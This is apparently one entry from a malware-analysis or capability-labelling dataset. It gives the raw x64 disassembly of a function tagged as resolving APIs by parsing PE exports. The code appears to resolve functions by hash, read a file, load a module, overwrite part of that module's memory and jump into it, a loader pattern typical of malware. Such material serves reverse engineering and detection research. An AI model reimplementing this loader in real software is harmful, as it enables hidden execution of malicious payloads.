Function at 0x140008e83
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x158
lea rax, [0x14016ee56]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x34]
call fcn.14000962f
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x5c]
mov eax, eax
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 8]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x1c]
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x50]
call fcn.140009513
mov qword [rsp + 0xe8], rax
mov r8d, 0x104
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
call qword [rsp + 0xe8]
mov dword [rsp + 0x98], eax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x48]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x78]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x40]
movzx ecx, cx
cmp eax, ecx
je 0x140008f65
mov eax, dword [rsp + 0x50]
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
mov word [rdx + rax*2], cx
mov eax, dword [rsp + 0x50]
dec eax
mov dword [rsp + 0x50], eax
jmp 0x140008f2a
mov dword [rsp + 0x60], 0
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0xc0]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140008fb5
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0xc0]
movsx ax, byte [rcx + rax]
mov ecx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov word [rdx + rcx*2], ax
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
jmp 0x140008f6d
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 8]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 4]
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x50]
call fcn.140009513
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x14]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x3c]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 1
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 0x2c]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0xf0]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 8]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0xc]
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x50]
call fcn.140009513
mov qword [rsp + 0xf8], rax
xor edx, edx
mov rcx, qword [rsp + 0xc8]
call qword [rsp + 0xf8]
mov dword [rsp + 0x68], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x50]
cmp dword [rsp + 0x68], eax
jne 0x140009090
xor edx, edx
mov eax, dword [rsp + 0x9c]
div dword [rsp + 0x68]
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 8]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x44]
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x50]
call fcn.140009513
mov qword [rsp + 0x100], rax
mov dword [rsp + 0x88], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call qword [rsp + 0x100]
test eax, eax
jne 0x140009107
jmp 0x140009494
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x28]
mov eax, eax
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x6c], 0
jmp 0x14000919f
mov eax, dword [rsp + 0x6c]
inc eax
mov dword [rsp + 0x6c], eax
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0xa0]
cmp dword [rsp + 0x6c], eax
jae 0x1400091c3
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
add eax, dword [rsp + 0xa4]
mov rcx, qword [rsp + 0x58]
mov dword [rcx], eax
jmp 0x140009187
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x18]
mov eax, eax
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
inc rax
mov rdx, rax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 8]
call fcn.14000949f
mov rcx, qword [rsp + 0x40]
mov r9d, dword [rcx + 8]
mov r8d, eax
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x50]
call fcn.140009513
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x48]
movsx rax, byte [rax]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
inc rax
mov rdx, rax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 8]
call fcn.14000949f
mov rcx, qword [rsp + 0x40]
mov r9d, dword [rcx + 8]
mov r8d, eax
mov rdx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x50]
call fcn.140009513
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x48]
movsx rax, byte [rax]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
inc rax
mov rcx, rax
call qword [rsp + 0x108]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x48]
movsx rax, byte [rax]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x20]
mov eax, eax
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 4]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 8]
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0xd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0xb0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov eax, dword [rax + 0x2c]
mov rcx, qword [rsp + 0xb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x70], 0
mov eax, dword [rsp + 0x64]
lea r9, [rsp + 0x70]
mov rcx, qword [rsp + 0x40]
mov r8d, dword [rcx]
mov edx, eax
mov rcx, qword [rsp + 0x90]
call qword [rsp + 0xe0]
mov r8d, dword [rsp + 0x64]
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x90]
call fcn.140008d2f
mov eax, dword [rsp + 0x64]
lea r9, [rsp + 0x70]
mov r8d, dword [rsp + 0x70]
mov edx, eax
mov rcx, qword [rsp + 0x90]
call qword [rsp + 0xe0]
mov eax, dword [rsp + 0xa8]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x54], 0
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x54]
movsxd rcx, dword [rsp + 0x54]
movsx eax, byte [rax + rcx]
test eax, eax
je 0x14000943a
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x54]
movsxd rcx, dword [rsp + 0x54]
movsx ax, byte [rax + rcx]
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0xb8]
mov word [rdx + rcx*2], ax
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
jmp 0x1400093f4
movsxd rax, dword [rsp + 0x54]
xor ecx, ecx
mov rdx, qword [rsp + 0xb8]
mov word [rdx + rax*2], cx
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x130], rax
mov byte [rsp + 0x140], 1
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x130]
call qword [rsp + 0x128]
add rsp, 0x158
ret